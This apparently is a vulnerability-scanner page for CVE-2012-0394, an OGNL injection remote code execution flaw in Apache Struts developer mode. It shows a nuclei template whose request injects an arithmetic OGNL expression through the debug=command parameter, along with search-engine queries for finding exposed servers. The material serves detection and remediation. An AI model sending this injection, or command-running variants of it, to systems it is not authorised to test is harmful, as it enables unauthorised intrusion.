CVE-2012-0394· apache / struts· CWE-94
Apache Struts <2.3.1.1 - Remote Code Execution
Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
Impact
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
Fix
Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
How to confirm it
Send: GET {{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}
Positive when: contains "{{result}}" AND status 200Run it with nuclei: nuclei -id CVE-2012-0394 -u <target>
The full check
id: CVE-2012-0394
info:
name: Apache Struts <2.3.1.1 - Remote Code Execution
author: tess
severity: medium
description: |
Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
remediation: |
Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
reference:
- https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
- https://www.exploit-db.com/exploits/31434
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
- http://www.exploit-db.com/exploits/18329
- https://nvd.nist.gov/vuln/detail/CVE-2012-0394
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2012-0394
cwe-id: CWE-94
epss-score: 0.729
epss-percentile: 0.99455
cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: apache
product: struts
shodan-query:
- html:"Struts Problem Report"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
- http.html:"apache struts"
fofa-query:
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
google-query: intitle:"struts2 showcase"
tags: cve,cve2012,ognl,injection,edb,apache,struts,vuln
variables:
first: "{{rand_int(1000, 9999)}}"
second: "{{rand_int(1000, 9999)}}"
result: "{{to_number(first)*to_number(second)}}"
http:
- method: GET
path:
- '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
matchers-condition: and
matchers:
- type: word
words:
- '{{result}}'
- type: status
status:
- 200References
- https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
- https://www.exploit-db.com/exploits/31434
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
- http://www.exploit-db.com/exploits/18329
- https://nvd.nist.gov/vuln/detail/CVE-2012-0394
Use this check only on systems you are authorised to test. Where the data comes from